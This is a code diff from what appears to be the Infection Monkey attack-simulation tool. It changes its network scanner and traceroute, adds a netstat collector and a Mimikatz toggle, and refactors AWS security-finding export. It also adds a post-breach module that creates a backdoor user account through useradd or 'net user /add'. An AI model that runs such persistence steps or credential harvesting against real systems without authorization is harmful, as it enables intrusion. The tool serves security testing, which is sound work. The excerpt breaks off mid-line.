a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..8a69e3031 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -6,6 +6,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.model import VictimHost from infection_monkey.network import HostScanner +from infection_monkey.network import TcpScanner, PingScanner __author__ = 'itamar' @@ -62,7 +63,7 @@ class NetworkScanner(object): return subnets_to_scan - def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): + def get_victim_machines(self, max_find=5, stop_callback=None): """ Finds machines according to the ranges specified in the object :param scan_type: A hostscanner class, will be instanced and used to scan for new machines @@ -70,16 +71,18 @@ class NetworkScanner(object): :param stop_callback: A callback to check at any point if we should stop scanning :return: yields a sequence of VictimHost instances """ - if not scan_type: - return - scanner = scan_type() + TCPscan = TcpScanner() + Pinger = PingScanner() victims_count = 0 for net_range in self._ranges: LOG.debug("Scanning for potential victims in the network %r", net_range) for ip_addr in net_range: - victim = VictimHost(ip_addr) + if hasattr(net_range, 'domain_name'): + victim = VictimHost(ip_addr, net_range.domain_name) + else: + victim = VictimHost(ip_addr) if stop_callback and stop_callback(): LOG.debug("Got stop signal") break @@ -94,9 +97,11 @@ class NetworkScanner(object): continue LOG.debug("Scanning %r...", victim) + pingAlive = Pinger.is_host_alive(victim) + tcpAlive = TCPscan.is_host_alive(victim) # if scanner detect machine is up, add it to victims list - if scanner.is_host_alive(victim): + if pingAlive or tcpAlive: LOG.debug("Found potential victim: %r", victim) victims_count += 1 yield victim @@ -106,8 +111,9 @@ class NetworkScanner(object): break - if SCAN_DELAY: - time.sleep(SCAN_DELAY) + if WormConfiguration.tcp_scan_interval: + # time.sleep uses seconds, while config is in milliseconds + time.sleep(WormConfiguration.tcp_scan_interval/float(1000)) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 075b57669..cbaecedfb 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -59,9 +59,9 @@ class PingScanner(HostScanner, HostFinger): if regex_result: try: ttl = int(regex_result.group(0)) - if LINUX_TTL == ttl: + if ttl <= LINUX_TTL: host.os['type'] = 'linux' - elif WINDOWS_TTL == ttl: + else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. host.os['type'] = 'windows' return True except Exception as exc: diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index fa84f84fe..3a9adef57 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -9,9 +9,13 @@ import re from six.moves import range +from infection_monkey.pyinstaller_utils import get_binary_file_path +from infection_monkey.utils import is_64bit_python + DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 -IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' +IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' +IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 @@ -175,9 +179,10 @@ def tcp_port_to_service(port): return 'tcp-' + str(port) -def traceroute(target_ip, ttl): +def traceroute(target_ip, ttl=64): """ Traceroute for a specific IP/name. + Note, may throw exception on failure that should be handled by caller. :param target_ip: IP/name of target :param ttl: Max TTL :return: Sequence of IPs in the way @@ -188,6 +193,53 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) +def _get_traceroute_bin_path(): + """ + Gets the path to the prebuilt traceroute executable + + This is the traceroute utility from: http://traceroute.sourceforge.net + Its been built using the buildroot utility with the following settings: + * Statically link to musl and all other required libs + * Optimize for size + This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected + + :return: Path to traceroute executable + """ + return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32") + + +def _parse_traceroute(output, regex, ttl): + """ + Parses the output of traceroute (from either Linux or Windows) + :param output: The output of the traceroute + :param regex: Regex for finding an IP address + :param ttl: Max TTL. Must be the same as the TTL used as param for traceroute. + :return: List of ips which are the hops on the way to the traceroute destination. + If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None + """ + ip_lines = output.split('\n') + trace_list = [] + + first_line_index = None + for i in range(len(ip_lines)): + if re.search(r'^\s*1', ip_lines[i]) is not None: + first_line_index = i + break + + for i in range(first_line_index, first_line_index + ttl): + if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished + break + + re_res = re.search(regex, ip_lines[i]) + if re_res is None: + ip_addr = None + else: + ip_addr = re_res.group() + trace_list.append(ip_addr) + + return trace_list + + def _traceroute_windows(target_ip, ttl): """ Traceroute for a specific IP/name - Windows implementation @@ -200,59 +252,22 @@ def _traceroute_windows(target_ip, ttl): target_ip] proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) stdout, stderr = proc_obj.communicate() - ip_lines = stdout.split('\r\n') - trace_list = [] - - first_line_index = None - for i in range(len(ip_lines)): - if re.search(r'^\s*1', ip_lines[i]) is not None: - first_line_index = i - break - - for i in range(first_line_index, first_line_index + ttl): - if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished - break - - re_res = re.search(IP_ADDR_RE, ip_lines[i]) - if re_res is None: - ip_addr = None - else: - ip_addr = re_res.group() - trace_list.append(ip_addr) - - return trace_list + stdout = stdout.replace('\r', '') + return _parse_traceroute(stdout, IP_ADDR_RE, ttl) def _traceroute_linux(target_ip, ttl): """ Traceroute for a specific IP/name - Linux implementation """ - # implementation note: We're currently going to just use ping. - # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) - # while this is just ugly - # we can't use traceroute because it's not always installed - current_ttl = 1 - trace_list = [] - while current_ttl <= ttl: - cli = ["ping", - "-c", "1", - "-w", "1", - "-t", str(current_ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ips = re.findall(IP_ADDR_RE, stdout) - if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable. - return [] - elif ips[-1] in trace_list: # Failed getting this hop - trace_list.append(None) - else: - trace_list.append(ips[-1]) - dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings - if dest_ip == ips[-1]: - break + cli = [_get_traceroute_bin_path(), + "-m", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() - current_ttl += 1 - - return trace_list + lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl) + lines = [x[1:-1] if x else None # Removes parenthesis + for x in lines] + return lines diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py new file mode 100644 index 000000000..2bd5547b4 --- /dev/null +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -0,0 +1,4 @@ +__author__ = 'danielg' + + +from add_user import BackdoorUser diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py new file mode 100644 index 000000000..b8cb9a027 --- /dev/null +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -0,0 +1,49 @@ +import datetime +import logging +import subprocess +import sys +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + +__author__ = 'danielg' + + +class BackdoorUser(object): + """ + This module adds a disabled user to the system. + This tests part of the ATT&CK matrix + """ + + def act(self): + LOG.info("Adding a user") + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + + @staticmethod + def add_user_linux(): + cmd_line = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.user_to_add] + retval = subprocess.call(cmd_line) + return retval + + @staticmethod + def add_user_windows(): + cmd_line = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, + '/add', '/ACTIVE:NO'] + retval = subprocess.call(cmd_line) + return retval diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index c90b1f6af..eb757d144 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -1,4 +1,5 @@ -How to build a monkey binary from scratch. +To get development versions of Monkey Island and Monkey look into deployment scripts folder. +If you only want to build monkey from scratch you may reference instructions below. The monkey is composed of three separate parts. * The Infection Monkey itself - PyInstaller compressed python archives @@ -75,4 +76,4 @@ Alternatively, if you build Mimikatz, put each version in a zip file. 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. 3. The zip file should be named mk32.zip/mk64.zip accordingly. -4. Zipping with 7zip has been tested. Other zipping software may not work. \ No newline at end of file +4. Zipping with 7zip has been tested. Other zipping software may not work. diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 468b748e8..5b9299c8c 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,7 @@ six ecdsa netifaces ipaddress -wmi \ No newline at end of file +wmi +pywin32 +pymssql +pyftpdlib \ No newline at end of file diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index e3892abac..56d7fca8b 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -8,6 +8,7 @@ from enum import IntEnum from infection_monkey.network.info import get_host_subnets from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector +from infection_monkey.system_info.netstat_collector import NetstatCollector LOG = logging.getLogger(__name__) @@ -107,12 +108,16 @@ class InfoCollector(object): def get_network_info(self): """ Adds network information from the host to the system information. - Currently updates with a list of networks accessible from host, - containing host ip and the subnet range. + Currently updates with netstat and a list of networks accessible from host + containing host ip and the subnet range :return: None. Updates class information """ LOG.debug("Reading subnets") - self.info['network_info'] = {'networks': get_host_subnets()} + self.info['network_info'] =\ + { + 'networks': get_host_subnets(), + 'netstat': NetstatCollector.get_netstat_info() + } def get_azure_info(self): """ diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py new file mode 100644 index 000000000..361bf0d81 --- /dev/null +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -0,0 +1,44 @@ +# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py + +import logging +import psutil +import socket + +from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + +class NetstatCollector(object): + """ + Extract netstat info + """ + + AF_INET6 = getattr(socket, 'AF_INET6', object()) + + proto_map = { + (AF_INET, SOCK_STREAM): 'tcp', + (AF_INET6, SOCK_STREAM): 'tcp6', + (AF_INET, SOCK_DGRAM): 'udp', + (AF_INET6, SOCK_DGRAM): 'udp6', + } + + @staticmethod + def get_netstat_info(): + LOG.info("Collecting netstat info") + return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')] + + @staticmethod + def _parse_connection(c): + return \ + { + 'proto': NetstatCollector.proto_map[(c.family, c.type)], + 'local_address': c.laddr[0], + 'local_port': c.laddr[1], + 'remote_address': c.raddr[0] if c.raddr else None, + 'remote_port': c.raddr[1] if c.raddr else None, + 'status': c.status, + 'pid': c.pid + } diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index fb2261572..7c3739a0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import os import logging import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector @@ -36,9 +36,11 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - self.get_wmi_info() + #self.get_wmi_info() self.get_installed_packages() - self.get_mimikatz_info() + from infection_monkey.config import WormConfiguration + if WormConfiguration.should_use_mimikatz: + self.get_mimikatz_info() return self.info diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py new file mode 100644 index 000000000..9b25469f9 --- /dev/null +++ b/monkey/monkey_island/cc/exporter_init.py @@ -0,0 +1,19 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.report_exporter_manager import ReportExporterManager +from cc.resources.aws_exporter import AWSExporter + +__author__ = 'maor.rayzin' + + +def populate_exporter_list(): + + manager = ReportExporterManager() + if is_aws_exporter_required(): + manager.add_exporter_to_list(AWSExporter) + + +def is_aws_exporter_required(): + if str(load_env_from_file()) == AWS: + return True + else: + return False diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 86015b5d4..713e83b96 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def logger = logging.getLogger(__name__) from cc.app import init_app +from cc.exporter_init import populate_exporter_list from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up @@ -34,6 +35,7 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) + populate_exporter_list() app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) @@ -44,6 +46,7 @@ def main(): http_server.listen(env.get_island_port()) logger.info( 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + IOLoop.instance().start() diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py new file mode 100644 index 000000000..a6a983a20 --- /dev/null +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -0,0 +1,34 @@ +import logging + +__author__ = 'maor.rayzin' + +logger = logging.getLogger(__name__) + + +class Singleton(type): + _instances = {} + + def __call__(cls, *args, **kwargs): + if cls not in cls._instances: + cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) + return cls._instances[cls] + + +class ReportExporterManager(object): + __metaclass__ = Singleton + + def __init__(self): + self._exporters_set = set() + + def get_exporters_list(self): + return self._exporters_set + + def add_exporter_to_list(self, exporter): + self._exporters_set.add(exporter) + + def export(self, report): + try: + for exporter in self._exporters_set: + exporter().handle_report(report) + except Exception as e: + logger.exception('Failed to export report') diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index d8a01e909..9b820cf51 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -9,6 +9,9 @@ from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file from common.cloud.aws_instance import AwsInstance +__author__ = 'maor.rayzin' + + logger = logging.getLogger(__name__) AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], @@ -87,6 +90,7 @@ class AWSExporter(Exporter): "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": account_id, + "RecordState": "ACTIVE", "Types": [ "Software and Configuration Checks/Vulnerabilities/CVE" ], @@ -120,488 +124,288 @@ class AWSExporter(Exporter): return False @staticmethod - def _handle_tunnel_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines were able to communicate over unused ports.", - "Description": "Use micro-segmentation policies to disable communication other than the required.", - "Remediation": { - "Recommendation": { - "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ + def _get_finding_resource(instance_id, instance_arn): + if instance_id: + return [{ "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) + "Id": instance_arn.format(instance_id=instance_id) }] else: - finding["Resources"] = [{'Type': 'Other'}] + return [{'Type': 'Other', 'Id': 'None'}] + + @staticmethod + def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): + finding = { + "Severity": { + "Product": severity, + "Normalized": 100 + }, + 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn), + "Title": title, + "Description": description, + "Remediation": { + "Recommendation": { + "Text": recommendation + } + }} return finding + @staticmethod + def _handle_tunnel_issue(issue, instance_arn): + + return AWSExporter._build_generic_finding( + severity=5, + title="Weak segmentation - Machines were able to communicate over unused ports.", + description="Use micro-segmentation policies to disable communication other than the required.", + recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) + @staticmethod def _handle_sambacry_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", - "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Samba servers are vulnerable to 'SambaCry'", + description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ + .format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=5, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_key_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - "Remediation": { - "Recommendation": { - "Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_elastic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", - "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Elastic Search servers are vulnerable to CVE-2015-1427", + description="Update your Elastic Search server to version 1.4.3 and up.", + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines from different segments are able to communicate.", - "Description": "Segment your network and make sure there is no communication between machines from different segments.", - "Remediation": { - "Recommendation": { - "Text": "The network can probably be segmented. A monkey instance on \ + + return AWSExporter._build_generic_finding( + severity=1, + title="Weak segmentation - Machines from different segments are able to communicate.", + description="Segment your network and make sure there is no communication between machines from different segments.", + recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], - issue['server_networks']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + issue['server_networks']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password", - "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password", + description="Some users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {0}.".format(issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shellshock_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", - "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Machines are vulnerable to 'Shellshock'", + description="Update your Bash to a ShellShock-patched version.", + recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", - "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": 